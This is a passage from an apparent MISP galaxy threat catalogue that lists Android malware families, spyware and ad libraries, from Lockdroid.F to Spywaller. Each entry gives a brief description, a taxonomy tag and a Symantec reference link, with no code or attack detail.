Lockdroid.F

Lockdroid.F is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.F"*

Table 233. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-102215-4346-99

Lockdroid.G

Lockdroid.G is a Trojan horse for Android devices that may display a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.G"*

Table 234. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050610-2450-99

Lockdroid.H

Lockdroid.H is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.H"*

Table 235. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-031621-1349-99

Lockscreen

Lockscreen is a Trojan horse for Android devices that locks the compromised device from use.

The tag is: *misp-galaxy:android="Lockscreen"*

Table 236. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032409-0743-99

LogiaAd

LogiaAd is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="LogiaAd"*

Table 237. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0348-99

Loicdos

Loicdos is an Android application that provides an interface to a website in order to perform a denial of service (DoS) attack against a computer.

The tag is: *misp-galaxy:android="Loicdos"*

Table 238. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022002-2431-99

Loozfon

Loozfon is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Loozfon"*

Table 239. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082005-5451-99

Lotoor

Lotoor is a generic detection for hack tools that exploit vulnerabilities in order to gain root privileges on compromised Android devices.

The tag is: *misp-galaxy:android="Lotoor"*

Table 240. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091922-4449-99

Lovespy

Lovespy is a Trojan horse for Android devices that steals information from the device.

The tag is: *misp-galaxy:android="Lovespy"*

Table 241. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2012-071814-3805-99

Lovetrap

Lovetrap is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Lovetrap"*

Table 242. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072806-2905-99

Luckycat

Luckycat is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: *misp-galaxy:android="Luckycat"*

Table 243. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080617-5343-99

Machinleak

Machinleak is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Machinleak"*

Table 244. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120311-2440-99

Maistealer

Maistealer is a Trojan that steals information from Android devices.

The tag is: *misp-galaxy:android="Maistealer"*

Table 245. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072411-4350-99

Malapp

Malapp is a generic detection for many individual but varied threats on Android devices that share similar characteristics.

The tag is: *misp-galaxy:android="Malapp"*

Table 246. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-073014-3354-99

Malebook

Malebook is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Malebook"*

Table 247. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071206-3403-99

Malhome

Malhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Malhome"*

Table 248. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071118-0441-99

Malminer

Malminer is a Trojan horse for Android devices that mines cryptocurrencies on the compromised device.

The tag is: *misp-galaxy:android="Malminer"*

Table 249. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032712-3709-99

Mania

Mania is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Mania"*

Table 250. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070623-1520-99

Maxit

Maxit is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals certain information and uploads it to a remote location.

The tag is: *misp-galaxy:android="Maxit"*

Table 251. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120411-2511-99

MdotM

MdotM is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MdotM"*

Table 252. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5824-99

Medialets

Medialets is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Medialets"*

Table 253. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5222-99

Meshidden

Meshidden is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Meshidden"*

Table 254. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031913-5257-99

Mesploit

Mesploit is a tool for Android devices used to create applications that exploit the Android Fake ID vulnerability.

The tag is: *misp-galaxy:android="Mesploit"*

Table 255. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032014-2847-99

Mesprank

Mesprank is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Mesprank"*

Table 256. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030717-1933-99

Meswatcherbox

Meswatcherbox is a spyware application for Android devices that forwards SMS messages without the user knowing.

The tag is: *misp-galaxy:android="Meswatcherbox"*

Table 257. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-2736-99

Miji

Miji is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Miji"*

Table 258. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4720-99

Milipnot

Milipnot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Milipnot"*

Table 259. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070414-0941-99

MillennialMedia

MillennialMedia is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MillennialMedia"*

Table 260. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4602-99

Mitcad

Mitcad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mitcad"*

Table 261. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040212-0528-99

MobClix

MobClix is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MobClix"*

Table 262. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4011-99

MobFox

MobFox is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MobFox"*

Table 263. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-3050-99

Mobidisplay

Mobidisplay is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mobidisplay"*

Table 264. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-0435-99

Mobigapp

Mobigapp is a Trojan horse for Android devices that downloads applications disguised as system updates.

The tag is: *misp-galaxy:android="Mobigapp"*

Table 265. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062520-5802-99

MobileBackup

MobileBackup is a spyware application for Android devices that monitors the affected device.

The tag is: *misp-galaxy:android="MobileBackup"*

Table 266. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-0040-99

Mobilespy

Mobilespy is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Mobilespy"*

Table 267. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071512-0653-99

Mobiletx

Mobiletx is a Trojan horse for Android devices that steals information from the compromised device. It may also send SMS messages to a premium-rate number.

The tag is: *misp-galaxy:android="Mobiletx"*

Table 268. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052807-4439-99

Mobinaspy

Mobinaspy is a spyware application for Android devices that can track the device’s location.

The tag is: *misp-galaxy:android="Mobinaspy"*

Table 269. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-0511-99

Mobus

Mobus is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mobus"*

Table 270. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2006-99

MobWin

MobWin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MobWin"*

Table 271. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1522-99

Mocore

Mocore is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mocore"*

Table 272. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-092112-4603-99

Moghava

Moghava is a Trojan horse for Android devices that modifies images that are stored on the device.

The tag is: *misp-galaxy:android="Moghava"*

Table 273. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022712-2822-99

Momark

Momark is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Momark"*

Table 274. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-5529-99

Monitorello

Monitorello is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Monitorello"*

Table 275. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-4737-99

Moolah

Moolah is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Moolah"*

Table 276. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1007-99

MoPub

MoPub is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MoPub"*

Table 277. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-2456-99

Morepaks

Morepaks is a Trojan horse for Android devices that downloads remote files and may display advertisements on the compromised device.

The tag is: *misp-galaxy:android="Morepaks"*

Table 278. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071204-1130-99

Nandrobox

Nandrobox is a Trojan horse for Android devices that steals information from the compromised device. It also deletes certain SMS messages from the device.

The tag is: *misp-galaxy:android="Nandrobox"*

Table 279. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070212-2132-99

Netisend

Netisend is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Netisend"*

Table 280. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080207-1139-99

Nickispy

Nickispy is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Nickispy"*

Table 281. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072714-3613-99

Notcompatible

Notcompatible is a Trojan horse for Android devices that acts as a proxy.

The tag is: *misp-galaxy:android="Notcompatible"*

Table 282. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050307-2712-99

Nuhaz

Nuhaz is a Trojan horse for Android devices that may intercept text messages on the compromised device.

The tag is: *misp-galaxy:android="Nuhaz"*

Table 283. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-3416-99

Nyearleaker

Nyearleaker is a Trojan horse program for Android devices that steals information.

The tag is: *misp-galaxy:android="Nyearleaker"*

Table 284. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2012-010514-0844-99

Obad

Obad is a Trojan horse for Android devices that opens a back door, steals information, and downloads files. It also sends SMS messages to premium-rate numbers and spreads malware to Bluetooth-enabled devices.

The tag is: *misp-galaxy:android="Obad"*

Table 285. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060411-4146-99

Oneclickfraud

Oneclickfraud is a Trojan horse for Android devices that attempts to coerce a user into paying for a pornographic service.

The tag is: *misp-galaxy:android="Oneclickfraud"*

Table 286. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011205-4412-99

Opfake

Opfake is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers.

The tag is: *misp-galaxy:android="Opfake"*

Table 287. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-2732-99

Opfake.B

Opfake.B is a Trojan horse for the Android platform that may receive commands from a remote attacker to perform various functions.

The tag is: *misp-galaxy:android="Opfake.B"*

Table 288. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2012-022406-1309-99

Ozotshielder

Ozotshielder is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Ozotshielder"*

Table 289. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091505-3230-99

Pafloat

Pafloat is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Pafloat"*

Table 290. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-2015-99

PandaAds

PandaAds is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="PandaAds"*

Table 291. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1959-99

Pandbot

Pandbot is a Trojan horse for Android devices that may download more files onto the device.

The tag is: *misp-galaxy:android="Pandbot"*

Table 292. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071215-1454-99

Pdaspy

Pdaspy is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.

The tag is: *misp-galaxy:android="Pdaspy"*

Table 293. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-0749-99

Penetho

Penetho is a hacktool for Android devices that can be used to crack the WiFi password of the router that the device is using.

The tag is: *misp-galaxy:android="Penetho"*

Table 294. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100110-3614-99

Perkel

Perkel is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: *misp-galaxy:android="Perkel"*

Table 295. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-082811-4213-99

Phimdropper

Phimdropper is a Trojan horse for Android devices that sends and intercepts incoming SMS messages.

The tag is: *misp-galaxy:android="Phimdropper"*

Table 296. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021002-2943-99

Phospy

Phospy is a Trojan horse for Android devices that steals confidential information from the compromised device.

The tag is: *misp-galaxy:android="Phospy"*

Table 297. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060706-4803-99

Piddialer

Piddialer is a Trojan horse for Android devices that dials premium-rate numbers from the compromised device.

The tag is: *misp-galaxy:android="Piddialer"*

Table 298. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111020-2247-99

Pikspam

Pikspam is a Trojan horse for Android devices that sends spam SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Pikspam"*

Table 299. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121815-0336-99

Pincer

Pincer is a Trojan horse for Android devices that steals confidential information and opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Pincer"*

Table 300. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052307-3530-99

Pirator

Pirator is a Trojan horse on the Android platform that downloads files and steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Pirator"*

Table 301. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-021609-5740-99

Pjapps

Pjapps is a Trojan horse that has been embedded on third party applications and opens a back door on the compromised device. It retrieves commands from a remote command and control server.

The tag is: *misp-galaxy:android="Pjapps"*

Table 302. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-022303-3344-99

Pjapps.B

Pjapps.B is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Pjapps.B"*

Table 303. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032014-1624-99

Pletora

Pletora is a is a Trojan horse for Android devices that may lock the compromised device. It then asks the user to pay in order to unlock the device.

The tag is: *misp-galaxy:android="Pletora"*

Table 304. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061217-4345-99

Poisoncake

Poisoncake is a Trojan horse for Android devices that opens a back door on the compromised device. It may also download potentially malicious files and steal information.

The tag is: *misp-galaxy:android="Poisoncake"*

Table 305. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-010610-0726-99

Pontiflex

Pontiflex is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Pontiflex"*

Table 306. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-0946-99

Positmob

Positmob is a Trojan horse program for Android devices that sends SMS messages to premium rate phone numbers.

The tag is: *misp-galaxy:android="Positmob"*

Table 307. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111409-1556-99

Premiumtext

Premiumtext is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. These Trojans will often be repackaged versions of genuine Android software packages, often distributed outside the Android Marketplace.

The tag is: *misp-galaxy:android="Premiumtext"*

Table 308. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080213-5308-99

Pris

Pris is a Trojan horse for Android devices that silently downloads a malicious application and attempts to open a back door on the compromised device.

The tag is: *misp-galaxy:android="Pris"*

Table 309. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061820-5638-99

Qdplugin

Qdplugin is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Qdplugin"*

Table 310. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102510-3330-99

Qicsomos

Qicsomos is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Qicsomos"*

Table 311. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011007-2223-99

Qitmo

Qitmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Qitmo"*

Table 312. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030716-4923-99

Rabbhome

Rabbhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Rabbhome"*

Table 313. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-053007-3750-99

Repane

Repane is a Trojan horse for Android devices that steals information and sends SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Repane"*

Table 314. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090411-5052-99

Reputation.1

Reputation.1 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: *misp-galaxy:android="Reputation.1"*

Table 315. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022612-2619-99

Reputation.2

Reputation.2 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: *misp-galaxy:android="Reputation.2"*

Table 316. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-2629-99

Reputation.3

Reputation.3 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: *misp-galaxy:android="Reputation.3"*

Table 317. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-3126-99

RevMob

RevMob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="RevMob"*

Table 318. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040308-0502-99

Roidsec

Roidsec is a Trojan horse for Android devices that steals confidential information.

The tag is: *misp-galaxy:android="Roidsec"*

Table 319. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052022-1227-99

Rootcager

Rootcager is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Rootcager"*

Table 320. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-030212-1438-99

Rootnik

Rootnik is a Trojan horse for Android devices that steals information and downloads additional apps.

The tag is: *misp-galaxy:android="Rootnik"*

Rootnik has relationships with:

- similar: misp-galaxy:malpedia="Rootnik" with estimative-language:likelihood-

probability="likely"

Table 321. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-062710-0328-99

Rufraud

Rufraud is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Rufraud"*

Table 322. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121306-2304-99

Rusms

Rusms is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: *misp-galaxy:android="Rusms"*

Table 323. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061711-5009-99

Samsapo

Samsapo is a worm for Android devices that spreads by sending SMS messages to all contacts stored on the compromised device. It also opens a back door and downloads files.

The tag is: *misp-galaxy:android="Samsapo"*

Table 324. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050111-1908-99

Sandorat

Sandorat is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals information.

The tag is: *misp-galaxy:android="Sandorat"*

Table 325. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-110720-2146-99

Sberick

Sberick is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Sberick"*

Table 326. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071014-2146-99

Scartibro

Scartibro is a Trojan horse for Android devices that locks the compromised device and asks the user to pay in order to unlock it.

The tag is: *misp-galaxy:android="Scartibro"*

Table 327. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-080718-2038-99

Scipiex

Scipiex is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Scipiex"*

Table 328. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100814-4702-99

Selfmite

Selfmite is a worm for Android devices that spreads through SMS messages.

The tag is: *misp-galaxy:android="Selfmite"*

Table 329. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070111-5857-99

Selfmite.B

Selfmite.B is a worm for Android devices that displays ads on the compromised device. It spreads through SMS messages.

The tag is: *misp-galaxy:android="Selfmite.B"*

Table 330. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101013-4717-99

SellARing

SellARing is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="SellARing"*

Table 331. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-3157-99

SendDroid

SendDroid is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="SendDroid"*

Table 332. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-2111-99

Simhosy

Simhosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Simhosy"*

Table 333. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061013-3955-99

Simplocker

Simplocker is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: *misp-galaxy:android="Simplocker"*

Table 334. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060610-5533-99

Simplocker.B

Simplocker.B is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: *misp-galaxy:android="Simplocker.B"*

Table 335. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072317-1950-99

Skullkey

Skullkey is a Trojan horse for Android devices that gives the attacker remote control of the compromised device to perform malicious activity.

The tag is: *misp-galaxy:android="Skullkey"*

Table 336. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072322-5422-99

Smaato

Smaato is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Smaato"*

Table 337. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052622-1755-99

Smbcheck

Smbcheck is a hacktool for Android devices that can trigger a Server Message Block version 2 (SMBv2) vulnerability and may cause the target computer to crash.

The tag is: *misp-galaxy:android="Smbcheck"*

Table 338. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-5634-99

Smsblocker

Smsblocker is a generic detection for threats on Android devices that block the transmission of SMS messages.

The tag is: *misp-galaxy:android="Smsblocker"*

Table 339. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081607-4001-99

Smsbomber

Smsbomber is a program that can be used to send messages to contacts on the device.

The tag is: *misp-galaxy:android="Smsbomber"*

Table 340. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112611-5837-99

Smslink

Smslink is a Trojan horse for Android devices that may send malicious SMS messages from the compromised device. It may also display advertisements.

The tag is: *misp-galaxy:android="Smslink"*

Table 341. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112600-3035-99

Smspacem

Smspacem is a Trojan horse that may send SMS messages from Android devices.

The tag is: *misp-galaxy:android="Smspacem"*

Table 342. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-052310-1322-99

SMSReplicator

SMSReplicator is a spying utility that will secretly transmit incoming SMS messages to another phone of the installer’s choice.

The tag is: *misp-galaxy:android="SMSReplicator"*

Table 343. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-110214-1252-99

Smssniffer

Smssniffer is a Trojan horse that intercepts SMS messages on Android devices.

The tag is: *misp-galaxy:android="Smssniffer"*

Table 344. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071108-3626-99

Smsstealer

Smsstealer is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Smsstealer"*

Table 345. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121514-0214-99

Smstibook

Smstibook is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: *misp-galaxy:android="Smstibook"*

Table 346. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051207-4833-99

Smszombie

Smszombie is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Smszombie"*

Table 347. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082011-0922-99

Snadapps

Snadapps is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Snadapps"*

Table 348. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071807-3111-99

Sockbot

Sockbot is a Trojan horse for Android devices that creates a SOCKS proxy on the compromised device.

The tag is: *misp-galaxy:android="Sockbot"*

Table 349. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-101314-1353-99

Sockrat

Sockrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Sockrat"*

Sockrat has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-

probability="likely"

Table 350. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-110509-4646-99

Sofacy

Sofacy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Sofacy"*

Sofacy has relationships with:

- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"

Table 351. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-010508-5201-99

Sosceo

Sosceo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Sosceo"*

Table 352. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040408-0609-99

Spitmo

Spitmo is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Spitmo"*

Table 353. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091407-1435-99

Spitmo.B

Spitmo.B is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Spitmo.B"*

Table 354. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-0445-99

Spyagent

Spyagent is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: *misp-galaxy:android="Spyagent"*

Table 355. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090710-1836-99

Spybubble

Spybubble is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: *misp-galaxy:android="Spybubble"*

Table 356. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121917-0335-99

Spydafon

Spydafon is a Potentially Unwanted Application for Android devices that monitors the affected device.

The tag is: *misp-galaxy:android="Spydafon"*

Table 357. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030722-4740-99

Spymple

Spymple is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Spymple"*

Table 358. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-5403-99

Spyoo

Spyoo is a spyware program for Android devices that records and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Spyoo"*

Table 359. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081709-0457-99

Spytekcell

Spytekcell is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Spytekcell"*

Table 360. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121021-0730-99

Spytrack

Spytrack is a spyware program for Android devices that periodically sends certain information to a remote location.

The tag is: *misp-galaxy:android="Spytrack"*

Table 361. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080109-5710-99

Spywaller

Spywaller is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Spywaller"*

Table 362. Table References

Links
